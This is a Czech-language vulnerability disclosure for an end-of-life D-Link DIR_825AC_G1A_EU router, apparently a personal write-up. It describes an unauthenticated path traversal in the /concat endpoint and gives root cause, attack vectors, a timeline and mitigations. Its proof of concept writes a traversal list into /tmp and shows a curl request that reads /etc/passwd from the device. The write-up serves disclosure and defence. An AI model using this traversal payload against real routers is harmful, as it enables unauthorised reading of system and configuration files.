Neautentizované Path Traversal v DIR_825AC_G1A_EU
CVE: Pending
Vendor: D-Link
Model: DIR_825AC_G1A_EU
Veze: 1.0.5
Status: EOL zařízení, report bez vendor odpovědi
Úvod
Tuhle zranitelnost jsem objevil při běžném používání mého routeru. Endpoint webového rozhraní přijímá cestu k souboru jako parametr a načítá ho bez dostatečné validace vstupních dat. Kombinací Path Traversal a Arbitrary File Write je možné číst libovolné sobory ze systému bez autentizace.
Objev
Při běžném přihlašování do administračního rozhraní routeru jsem ze zvědavosti otevřel developer tools (F12) a sledoval requesty. Concat endpointy obsahující cestu k souboru mi přišli jako zajímavý cíl pro Path Traversal:

První pokus, kde jsem zkoušel načíst systémový soubor mi vrátil prázdnou odpověď bez chybového hlášení. Přišlo mi podezřelé že request prošel. Ale při zadání cesty k neexistujícímu souboru server vrátil 404. To potvrdilo moji hypotézu - server soubor načítá ale nedokáže ho zpracovat.
Existující soubor:

Neexistující soubor:

Analýza mechanismu
Zajímala mě struktura souboru, který server načítá. Tak jsem se přihlásil přes telnet a začal ho hledat. Kvůli omezenému prostředí jsem musel vytvořit vlastní příkaz, který omezený shell může spustit:
$ ls -R / 2>/dev/null | grep -C 5 "lib_js_list"
[...]
/srv/anweb/apps/admin:
templates
pages
modules
lib_js_list
js_list
index.html
img
global_js_list
general_css_list
Obsah souboru potvrdil mou hypotézu - router načítá seznam relativních cest a spojuje jejich obsah do jedné response:
$ cat js_list
apps/admin/app.js
apps/admin/modules/history.js
apps/admin/modules/root_scope_interface.js
apps/admin/modules/snapper.js
apps/admin/modules/auth_interface.js
[...]
Cesty v souboru jsou relativní k working directory (zřejmě webové aplikace), nikoliv systémové. Pomocí Path Traversal je možné tuto hranici překročit.
Proof of Concept
Vytvoření vlastního listu s Path Traversal sekvencí v /tmp složce pomocí telnet:
$ echo ../../../../../../../../etc/passwd > /tmp/POC
Request obsahující právě vytvořený list který vrátí obsah /etc/passwd:
┌─[user@parrot]─[~]
└──╼ $curl "http://192.168.0.1/concat?type=js&path=../../../../../../../../../../tmp/POC"
admin:[...]:0:0:root:/:/bin/sh
nobody:x:99:99:nobody:/:/bin/false
ftp:x:500:500:ftp:/mnt:/bin/false
Root Cause Analysis
Chyba vzniká v důsledku nedostatečné sanitizace uživatelského vstupu. Abych identifikoval přesné místo, kde dochází k problému, provedl jsem reverse engineering binárky anweb (webového serveru routeru) v IDA Pro.
Architektura MIPS pro mě byla nová a vyžadovala dodatečný research, nicméně díky dekompilaci a komentářům v kódu se podařilo identifikovat funkci concat_end_point, která zpracovává HTTP requesty pro daný endpoint.
Tato funkce následně volá get_full_path, která konstruuje cestu k souboru na základě uživatelského vstupu. Výsledná cesta vzniká spojením pevného prefixu /srv/anweb/ a nevalidovaného vstupu od uživatele, bez jakékoliv sanitizace nebo canonicalizace.
Relevantní část funkce get_full_path:

Relevantní část dunkce concat_end_point:

Attack Vectors
Zranitelnost vyžaduje aby byl soubor s vlastním listem dostupný na filesystému routeru. Identifikoval jsem několik způsobů jak toho dosáhnout:
1. Samba (NAS funkce)
Router podporuje sdílení souborů přes Samba. Útočník s přístupem k Samba serveru může nahrát vlastní list. Výchozí konfigurace tohle nepovoluje a útočník musí znát systémový path k sdílené složce.
2. Anonymous FTP
Router povoluje anonymní FTP přihlášení. Výchozí konfigurace tuhle funkci nepovoluje.
3. USB Flash Disk (nejvýznamnější vektor)
Router pojmenovává USB zařízení deterministicky (/mnt/usb1_0) kvůli jedinému USB portu. Útočník s fyzickým přístupem může toho zneužít, a číst tak libovolné soubory bez jakékoliv autentizace.
Dopad
Úspěšné zneužití umožňuje čtení libovolných souborů ze systému bez autentizace, včetně:
- /etc/passwd
- Konfiguračních souborů routeru
Timeline
-
února 2026 – Objevena chyba zabezpečení
-
února 2026 – Nahlášeno výrobci (D-Link)
-
dubna 2026 – Uplynula lhůta bez odezvy
-
května 2026 – Zveřejnění (zařízení s ukončenou podporou)
Doporučení
Uživatelé kteří aktivně používají toto zařízení by měli zvážit výměnu za podporovaný model výrobcem. Pokud výměna není možná, tak izolovat administrační rozhraní aby nebylo dostupné z internetu a nedůvěryhodných sítí (protože i když chyba kterou jsem našel vyžaduje Write Access, může se stát že ho útočník získá pomocí jiné chyby) a zakázat Samba, FTP a fyzický přístup k USB portu.
Poznámka AI jsem při tvorbě tohoto článku využil výhradně pro návrh struktury a konzultační doporučení. Samotný výzkum i obsah jsou výsledkem mé vlastní práce.